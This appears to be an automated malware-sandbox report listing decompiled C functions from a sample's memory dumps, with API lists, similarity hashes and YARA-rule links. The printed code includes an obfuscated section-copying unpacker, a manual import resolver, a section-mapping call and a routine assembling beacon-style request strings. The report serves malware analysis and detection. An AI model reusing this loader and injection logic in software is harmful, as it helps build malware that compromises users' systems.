					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E016C20EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E016C5AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x016c348f
0x016c348f
0x016c348f
0x016c348f
0x016c348f
0x016c349c
0x016c349e
0x016c34a1
0x016c34a4
0x016c34a5
0x016c34a9
0x016c34ac
0x016c34b2
0x016c34ba
0x016c34c1
0x016c34ca
0x016c34cb
0x016c34cb
0x016c34cc
0x016c34cd
0x016c34d0
0x016c34da
0x016c34dc
0x016c34e3
0x016c34e6
0x016c34ec
0x016c34f4
0x016c34fb
0x016c3501
0x016c3504
0x016c3504
0x016c3505
0x016c3509
0x016c350c
0x016c3516
0x016c3520
0x016c3524
0x016c352e
0x016c3532
0x016c353a
0x016c353a
0x016c353d
0x016c3543
0x016c354b
0x016c3552
0x016c3558
0x016c3558
0x016c355b
0x016c3567
0x016c3569
0x016c3573
0x016c3575
0x016c357c
0x016c357f
0x016c3585
0x016c358d
0x016c3594
0x016c359a
0x016c359d
0x016c359d
0x016c359e
0x016c35a8
0x016c35ab
0x016c35ae
0x016c35ba
0x016c35be
0x016c35c2
0x016c35cc
0x016c35cc
0x016c35d6
0x016c35d9
0x016c35df
0x016c35e7
0x016c35ee
0x016c35f4
0x016c35f7
0x016c35f7
0x016c35f8
0x016c35ff
0x016c3602
0x016c360c
0x016c360e
0x016c3615
0x016c361f
0x016c362a
0x016c362e
0x016c3632
0x016c363d
0x016c3641
0x016c364a
0x016c364e
0x016c364f
0x016c365b
0x016c3662
0x016c3668
0x016c3669
0x016c3669
0x016c366a
0x016c3675
0x016c3677
0x016c3681
0x016c3683
0x016c3689
0x016c3691
0x016c3698
0x016c369e
0x016c369e
0x016c36a1
0x016c36ac
0x016c36ae
0x016c36b8
0x016c36c1
0x016c36c2
0x016c36c5
0x016c36c8
0x016c36ce
0x016c36ce
0x016c36d5
0x016c36d9
0x016c36dc
0x016c36e4
0x016c36e6
0x016c36ed
0x016c36f0
0x016c36f1
0x016c36f8
0x016c36fc
0x016c3705
0x016c3709
0x016c3712
0x016c3716
0x016c371f
0x016c3723
0x016c3724
0x016c3730
0x016c3737
0x016c373d
0x016c373d
0x016c373e
0x016c373f
0x016c3742
0x016c374c
0x016c374e
0x016c375a
0x016c3761
0x016c3767
0x016c3767
0x016c3768
0x016c3770
0x016c3772
0x016c377c
0x016c377e
0x016c3785
0x016c3788
0x016c3794
0x016c379b
0x016c37a1
0x016c37a2
0x016c37a2
0x016c37a3
0x016c37b2
0x016c37b4
0x016c37be
0x016c37c1
0x016c37c5
0x016c37d1
0x016c37d4
0x016c37de
0x016c37e1
0x016c37ed
0x016c37f4
0x016c37fa
0x016c37fb
0x016c37fb
0x016c37fe
0x016c3806
0x016c3808
0x016c3809
0x016c3814
0x016c381b
0x016c381d
0x016c381d
0x016c381e
0x016c381e
0x016c3821
0x016c382c
0x016c382e
0x016c3831
0x016c3842
0x016c3846
0x016c384a
0x016c3852
0x016c3855
0x016c3858
0x016c385f
0x016c3862
0x016c3862
0x016c3868
0x016c3872
0x016c3874
0x016c3875
0x016c3875
0x016c3879
0x016c387c
0x016c387f
0x016c388d
0x016c3890
0x016c38a1
0x016c38ad
0x016c38ad
0x016c38ad
0x016c38af
0x016c38b9
0x016c38bb
0x016c38bc
0x016c38bc
0x016c38bc
0x016c38c1
0x016c38c2
0x016c38cf
0x016c38d7
0x016c38de
0x016c38e4
0x016c38e5
0x016c38f4
0x016c38f6
0x016c38fc
0x016c38fe
0x016c38ff
0x016c3902
0x016c3905
0x016c390b
0x016c390f
0x016c3912
0x016c3912
0x016c391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 016C3862

Strings

@, xrefs: 016C3831

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 5c87509165f2c685822729828a81d29ff848770f106e20e950cdf620b5a8da0e
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: B2F17F72C04214EFEB049F64C8897AEBBF5FF84715F1584ADDC88AB246CB786550CB68

Uniqueness

Uniqueness Score: -1.00%

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001745(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x1000414c;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x10001745
0x1000174e
0x10001753
0x10001759
0x10001762
0x10001768
0x1000176a
0x1000176d
0x10001772
0x10001779
0x10001779
0x1000177d
0x10001785
0x10001788
0x00000000
0x00000000
0x1000178e
0x10001798
0x1000179a
0x1000179d
0x100017a0
0x100017a4
0x100017ac
0x100017ae
0x100017b1
0x10001819
0x10001819
0x1000181d
0x00000000
0x00000000
0x100017b6
0x100017bc
0x100017be
0x100017d1
0x100017d4
0x100017d4
0x100017d4
0x100017d8
0x100017c0
0x100017c0
0x100017c8
0x100017ca
0x00000000
0x00000000
0x00000000
0x00000000
0x100017ca
0x100017b8
0x100017b8
0x100017cc
0x100017cc
0x100017cc
0x100017db
0x100017de
0x100017e0
0x100017e7
0x100017e2
0x100017e2
0x100017e2
0x100017ef
0x100017f5
0x100017f7
0x10001827
0x100017f9
0x100017f9
0x100017fc
0x100017fe
0x10001806
0x10001806
0x1000180b
0x1000180d
0x10001814
0x10001816
0x10001816
0x10001816
0x00000000
0x10001816
0x00000000
0x100017f7
0x100017a6
0x100017a8
0x100017aa
0x00000000
0x00000000
0x100017aa
0x1000182a
0x1000182a
0x10001831
0x10001836
0x00000000
0x00000000
0x1000183c
0x10001847
0x00000000
0x10001847
0x1000183e
0x1000183e
0x10001844
0x00000000
0x10001844
0x10001772
0x10001848
0x1000184d

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D
GetProcAddress.KERNEL32(?,00000000), ref: 100017EF

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction ID: c607def5a2bc0e5299d97bb95015c1db0b928527211c0f3006954d548cbcd348
Opcode Fuzzy Hash: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction Fuzzy Hash: 78313675A0420A9FEB55CF99C880AEEB7F8FF04384F258069D805E7248EB70DA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E10001D9F(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x10001db1
0x10001db7
0x10001dc5
0x10001dcc
0x10001dd1
0x10001dd7
0x00000000
0x10001dd8
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 49ce00a74c5026685ddf57a3213c5fc1fdcbf11da22bef7e297f1a427f47f248
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 42F01CB690020CBFEB119FA5DC85C9FBBBDEB44298B10497AB652E1094D6309E089A60

Uniqueness

Uniqueness Score: -1.00%

Function 01738B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E01738B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x173d018; // 0x3429050d
				asm("bswap eax");
				_t61 =  *0x173d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x173d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x173d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t64 =  *0x173d27c; // 0x268a5a8
				_t3 = _t64 + 0x173e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0x173d02c,  *0x173d004, _t59);
				_t67 = E01731C1A();
				_t68 =  *0x173d27c; // 0x268a5a8
				_t4 = _t68 + 0x173e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E017354BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x173d27c; // 0x268a5a8
					_t7 = _t127 + 0x173e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x173d238, 0, _v8);
				}
				_t73 = E01737649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x173d27c; // 0x268a5a8
					_t11 = _t122 + 0x173e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x173d238, 0, _v8);
				}
				_t147 =  *0x173d32c; // 0x3dc95b0
				_t75 = E01739395(0x173d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x173d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x173d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x173d238, _t153, _v20);
						goto L26;
					}
					E01737A80(GetTickCount());
					_t82 =  *0x173d32c; // 0x3dc95b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x173d32c; // 0x3dc95b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x173d32c; // 0x3dc95b0
					_t149 = E01738307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						RtlFreeHeap( *0x173d238, _t153, _v8); // executed
						goto L25;
					}
					StrTrimA(_t149, 0x173c2ac);
					_push(_t149);
					_t94 = E01733CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x173d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E0173809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E0173A1B0();
						L22:
						HeapFree( *0x173d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E017343DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E0173163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E01739039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E017385DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E01739039(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x01738b94
0x01738b94
0x01738b94
0x01738b9f
0x01738ba6
0x01738ba8
0x01738ba8
0x01738bb5
0x01738bc0
0x01738bc3
0x01738bc8
0x01738bd1
0x01738bd4
0x01738bd9
0x01738bdc
0x01738be1
0x01738be4
0x01738bf0
0x01738bfd
0x01738bff
0x01738c05
0x01738c0a
0x01738c15
0x01738c17
0x01738c1a
0x01738c1c
0x01738c23
0x01738c29
0x01738c2c
0x01738c2f
0x01738c34
0x01738c41
0x01738c43
0x01738c49
0x01738c53
0x01738c53
0x01738c55
0x01738c5c
0x01738c5f
0x01738c62
0x01738c67
0x01738c74
0x01738c76
0x01738c84
0x01738c84
0x01738c86
0x01738c94
0x01738c99
0x01738c9d
0x01738ca0
0x01738e63
0x01738e6d
0x01738e76
0x01738ca6
0x01738cb2
0x01738cba
0x01738cbd
0x01738e57
0x01738e61
0x00000000
0x01738e61
0x01738cc9
0x01738cce
0x01738cd7
0x01738ce8
0x01738cec
0x01738cf5
0x01738cfb
0x01738d0a
0x01738d11
0x01738d1a
0x01738d20
0x01738e4b
0x01738e55
0x00000000
0x01738e55
0x01738d2c
0x01738d32
0x01738d33
0x01738d3a
0x01738d3d
0x01738e41
0x01738e49
0x00000000
0x01738e49
0x01738d46
0x01738d4d
0x01738d55
0x01738d5a
0x01738d63
0x01738d69
0x01738d70
0x01738d77
0x01738d7a
0x01738e79
0x01738e2d
0x01738e2d
0x01738e32
0x01738e3d
0x01738e3f
0x00000000
0x01738e3f
0x01738d84
0x01738d8b
0x01738d8e
0x01738d93
0x01738d9e
0x01738da3
0x01738da6
0x01738dac
0x01738db2
0x01738db8
0x01738dbb
0x01738dc1
0x01738dc4
0x01738dc9
0x01738dcd
0x01738dcd
0x01738dd9
0x01738de5
0x01738de9
0x01738deb
0x01738df0
0x01738df2
0x01738df7
0x01738dfc
0x01738e09
0x01738e11
0x01738e14
0x01738e14
0x01738df0
0x00000000
0x01738ddb
0x01738ddf
0x01738e16
0x01738e19
0x01738e22
0x00000000
0x00000000
0x00000000
0x00000000
0x01738e22
0x01738de1
0x00000000
0x01738de1
0x01738dd9

APIs

GetTickCount.KERNEL32 ref: 01738BA8
wsprintfA.USER32 ref: 01738BF8
wsprintfA.USER32 ref: 01738C15
wsprintfA.USER32 ref: 01738C41
HeapFree.KERNEL32(00000000,?), ref: 01738C53
wsprintfA.USER32 ref: 01738C74
HeapFree.KERNEL32(00000000,?), ref: 01738C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 01738CB2
GetTickCount.KERNEL32 ref: 01738CC3
RtlEnterCriticalSection.NTDLL(03DC9570), ref: 01738CD7
RtlLeaveCriticalSection.NTDLL(03DC9570), ref: 01738CF5

Part of subcall function 01738307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,0173A428,?,03DC95B0), ref: 01738332
Part of subcall function 01738307: lstrlen.KERNEL32(?,?,?,0173A428,?,03DC95B0), ref: 0173833A
Part of subcall function 01738307: strcpy.NTDLL ref: 01738351
Part of subcall function 01738307: lstrcat.KERNEL32(00000000,?), ref: 0173835C
Part of subcall function 01738307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0173A428,?,03DC95B0), ref: 01738379

StrTrimA.SHLWAPI(00000000,0173C2AC,?,03DC95B0), ref: 01738D2C

Part of subcall function 01733CC8: lstrlen.KERNEL32(03DC9910,00000000,00000000,74ECC740,0173A453,00000000), ref: 01733CD8
Part of subcall function 01733CC8: lstrlen.KERNEL32(?), ref: 01733CE0
Part of subcall function 01733CC8: lstrcpy.KERNEL32(00000000,03DC9910), ref: 01733CF4
Part of subcall function 01733CC8: lstrcat.KERNEL32(00000000,?), ref: 01733CFF

lstrcpy.KERNEL32(00000000,?), ref: 01738D4D
lstrcpy.KERNEL32(?,?), ref: 01738D55
lstrcat.KERNEL32(?,?), ref: 01738D63
lstrcat.KERNEL32(?,00000000), ref: 01738D69

Part of subcall function 0173809F: lstrlen.KERNEL32(?,00000000,0173D330,00000001,01732200,0173D00C,0173D00C,00000000,00000005,00000000,00000000,?,?,?,017396C1,017323E9), ref: 017380A8
Part of subcall function 0173809F: mbstowcs.NTDLL ref: 017380CF
Part of subcall function 0173809F: memset.NTDLL ref: 017380E1

wcstombs.NTDLL ref: 01738DFC

Part of subcall function 0173163F: SysAllocString.OLEAUT32(?), ref: 01731680
Part of subcall function 0173163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 01731702
